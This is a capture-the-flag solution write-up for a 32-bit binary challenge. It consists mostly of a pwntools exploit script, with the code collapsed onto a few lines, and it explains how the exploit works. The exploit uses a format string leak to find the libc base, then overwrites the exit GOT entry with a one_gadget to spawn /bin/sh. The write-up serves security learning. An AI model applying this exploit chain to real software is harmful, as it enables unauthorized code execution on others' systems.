### Solution
```!/usr/bin/env python# -*- coding: utf-8 -*-# this exploit template was generated via:   # $ pwn template challfrom pwn import *                                                                                                                                             # set up pwntools for the correct architectureexe = context.binary = ELF('chall')                 context.terminal = "tmux splitw -v".split()libc = ELF("./libc-2.27.so")   # many built-in settings can be controlled on the command-line and show up# in "args".  for example, to dump all data sent/received, and disable aslr# for all created processes...         # ./exploit.py debug noaslr      
env = {"LD_PRELOAD": "./libc-2.27.so"} def start(argv=[], *a, **kw):    '''start the exploit against the target.'''    if args.GDB:                                    return gdb.debug(["./ld-2.27.so", exe.path] + argv, gdbscript=gdbscript, env=env, *a, **kw)    else:                                        return process(["./ld-2.27.so", exe.path] + argv, env=env, *a, **kw) # specify your gdb script here for debugging# gdb will be launched if the exploit is run via e.g.# ./exploit.py gdbgdbscript = '''tbreak main'''.format(**locals()) #===========================================================#                    exploit goes here             #===========================================================# arch:     i386-32-little                                  # relro:    partial relro                          # stack:    canary found                          # nx:       nx enabled                                          # pie:      no pie (0x8048000)            io = start()                def init(d):                io.sendlineafter("ARMOUR: enabled! Try to break in ;)", d) def add(i, d):                  io.sendlineafter("3. break armour", "1")    io.sendlineafter("Enter the index :", str(i))    io.sendlineafter("Enter the data :", d) def show(i):                                          io.sendlineafter("3. break armour", "2")    io.sendlineafter("Enter the index :", str(i))    resp = io.recvline()      return resp.strip()                           def break_armor():                   io.sendlineafter("3. break armour", "3")                                      try:                                                                                                                                                             resp = io.recvline()        resp = io.recvline()                                                                                                                                         return resp.strip()                                      except:                                                                return none                                                                                                                              # overwrites the gotdef overwrite_got(target_func, new_func): log.info("replace func {} @ {} with {}".format(target_func, hex(exe.sym.got[target_func]), hex(new_func)))                                                   reactor = 0x0804a080                              offset = int((exe.sym.got[target_func] - reactor)/0x10)    add(offset, p32(new_func))                      log.info("init with a fmt string vuln")                     init("%4$p")          log.info("leaking glibc via fmt string vuln")leak = break_armor()  leak = leak.replace(b"Welcome to The Reactor (current status: MELTDOWN)", b"")                                                                               leak = int(leak, 16)                                                          libc.address = leak - 0x1d53fc                log.info("libc base @ {}".format(hex(libc.address))) one_gadget = libc.address + 0x3ccec                                        overwrite_got("exit", one_gadget)
log.info("causing an exit()")      io.sendlineafter("3. break armour", "4")                                       """                                            # I could also rewrite exit to point to mainoverwrite_got("exit", exe.sym["main"])                                                             """                                                                                     io.interactive()```
I used a format string vulnerability to leak GLIBC and its base address (alternatively, you can run the "show" command to look for leaks since there are no bounds to that function). 
I then used a GOT overwrite to overwrite the `exit()` function to a one gadget. It took 2 tries to find the right one gadget since there were several to pick from:
```0x3ccec execve("/bin/sh", esp+0x38, environ)constraints:  esi is the GOT address of libc  [esp+0x38] == NULL```
In Ghidra, you can see that if you input anything in the command selection menu besides 1, 2, or 3, it does `exit(0)`. So I just input "4" which caused the program to run `exit` PLT, which jumped to the `exit` GOT entry, which was overwritten by me to the one gadget which runs `/bin/sh`. 
Also, if you wanted to have unlimited tries (not limited to only 3 inputs), you can overwrite the `exit` GOT with `main` which would cause the `main()` function to be run over and over again. Could be useful if there were more protections like PIE or if they gave you only 2 tries.
#### Other info
I used `pwninit` from https://github.com/io12/pwninit to set up the `ld.so`.
You have to use the linker (`ld.so`) and the provided libc to get the intended answer. 
The solution code was templated by `pwntools` by running `pwn template ./chall > xpl.py`
The way to find a one gadget is by using this awesome utility: https://github.com/david942j/one_gadget